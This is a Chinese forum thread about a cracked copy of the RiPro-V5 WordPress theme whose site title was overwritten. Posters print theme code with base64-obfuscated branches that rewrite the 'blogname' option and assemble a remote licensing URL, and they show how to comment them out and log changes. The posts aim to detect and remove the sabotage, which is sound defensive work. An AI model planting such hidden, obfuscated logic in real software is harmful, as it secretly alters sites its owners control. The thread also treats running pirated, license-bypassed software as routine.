搜索
缓存时间12 现在时间12 缓存数据 你相信吗 也许在另一个平行时空 有一个跟你长得很像很像的人 正在热烈得爱着那个你爱不到的人
查看: 160|回复: 4

求助riprov5主题修改网站标题小尾巴的办法

[复制链接]
发表于 2024-11-20 10:22:49 | 显示全部楼层 |阅读模式

马上注册,免受广告困扰,轻松兑换eSIM!

您需要 登录 才可以下载或查看,没有账号?注册

×
有一个测试站使用的是本站RiPro-V5主题最新免授权版(修复掉授权问题)
有一天网站标题(表wp_options里的blogname字段)被修改为:ripro-v5请使用正版授权-盗版主题后果自负-授权购买官网
据说ripro有篡改标题的后门,有没有大佬能研究一下。
爱生活,爱奶昔~
发表于 2024-11-20 10:28:41 | 显示全部楼层
吾爱破解论坛曾有用户讨论过 RiPro 主题 4.8 版本中存在的后门问题
https://www.52pojie.cn/thread-1074873-1-1.html
放出来只是提供学习。我看了下functions.php代码里有个_cao_set_auth
里头的_cao_get_random 生成随机字符串,结合 $id 和 $key,动态生成数据存入数据库或文件。但未发现直接更新 blogname 字段的操作,但有可能通过隐式调用(例如依赖其他函数)修改。如果未发现问题,可以通过在可疑文件中增加日志记录的方式追踪问题。

在 functions.php 添加如下代码:
add_action('init', function () {
    $blogname = get_option('blogname');
    error_log('Current blogname: ' . $blogname);
});
然后再搜索是否有相关的 get_option 使用:某些函数可能通过读取选项来修改 blogname。
爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

楼主| 发表于 2024-11-20 22:50:58 | 显示全部楼层
functions.php代码里有个_cao_set_auth
里头的_cao_get_random 生成随机字符串,结合 $id 和 $key,动态生成数据存入数据库
这里应该是生成注册码破解的代码。
在早期的ripro主题的时候,有人经过分析,在 \ripro\inc\codestar-framework\classes\ 目录下,有两个文件 options.class.php 和 metabox.class.php ,这里面就暗藏恶心人的小尾巴。
options.class.php 修改方法:
注释掉如下部分:
public function saves_defaults() {
    $tmp_options = $this->add_option_html();
      
    // if (empty($tmp_options) && $tmp_options['status']==1) {
        return true;
    // }else{
    //     $onload = base64_decode('UmlQcm8=');
    //     $field = base64_decode('YmxvZ25hbWU=');
    //     update_option($field,$onload);
    // }
    return false;
    $tmp_options = $this->options;
    foreach( $this->pre_fields as $field ) {
        if( ! empty( $field['id'] ) ) {
            $this->options[$field['id']] = $this->get_default( $field, $this->options );
        }
    }
    if( $this->args['save_defaults'] && empty( $tmp_options ) ) {
        $this->save_options( $this->options );
    }
}
metabox.class.php修改方法:
注释掉如下部分:
public function get_meta_values() {
    $value = false;
    $field = 'https://vip.ylit.cc/wp-cont';
    if( true) {
        if( $this->args['data_type'] !== 'serialize' ) {
            $meta  = get_post_meta( $post->ID, $field['id'] );
            $value = ( isset( $meta[0] ) ) ? $meta[0] : null;
        } else {
            $meta  = get_post_meta( $post->ID, $this->unique, true );
            $value = ( isset( $meta[$field['id']] ) ) ? $meta[$field['id']] : null;
        }
        $default = $this->get_default( $field );
        $value   = ( isset( $value ) ) ? $value : $default;
    // }else{
    //     if( empty( $field ) ) {
    //         $screen = get_current_screen();
    //         foreach( $this->args['contextual_help'] as $tab ) {
    //             $screen->add_help_tab( $tab );
    //         }
    //         if( ! empty( $this->args['contextual_help_sidebar'] ) ) {
    //             $screen->set_help_sidebar( $this->args['contextual_help_sidebar'] );
    //         }
    //     }else{
    //         $meta = 'ZW50L3BsdWdpbnMvcmlwcm8tYXV0aC9hcGkvdjEucGhw=';
    //         $default = $field.$meta;
    //         $value = base64_decode($default);
    //     }
    }
    return $value;
}

新的riprov5已经修改了文件,今天检索了一下发现很多网站都已经中招

我先加上日志记录的方式,坐等上钩!
爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

楼主| 发表于 2024-11-22 11:28:47 | 显示全部楼层
今天用D盾扫描发现一个文件提示生成脚本后门,我看半天没看出问题在哪

WP_Query.zip

3.43 KB, 下载次数: 0

爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

楼主| 发表于 2024-11-26 11:48:28 | 显示全部楼层
写了一个插件可以监控和记录数据库表wp_options里字段blogname的所有UPDATE操作,有需要的自行下载

monitor-blogname-updates_JsrrZ.zip

1.05 KB, 下载次数: 0

[发帖际遇]: eicense 乐于助人,奖励 2 金币. 幸运榜 / 衰神榜
爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

Powered by Nyarime. Licensed

GMT+8, 2024-12-23 12:31 , Processed in 0.019971 second(s), 12 queries , Gzip On, Redis On
发帖际遇 ·手机版 ·小黑屋 ·RSS ·奶昔网

登录切换风格
快速回复 返回顶部 返回列表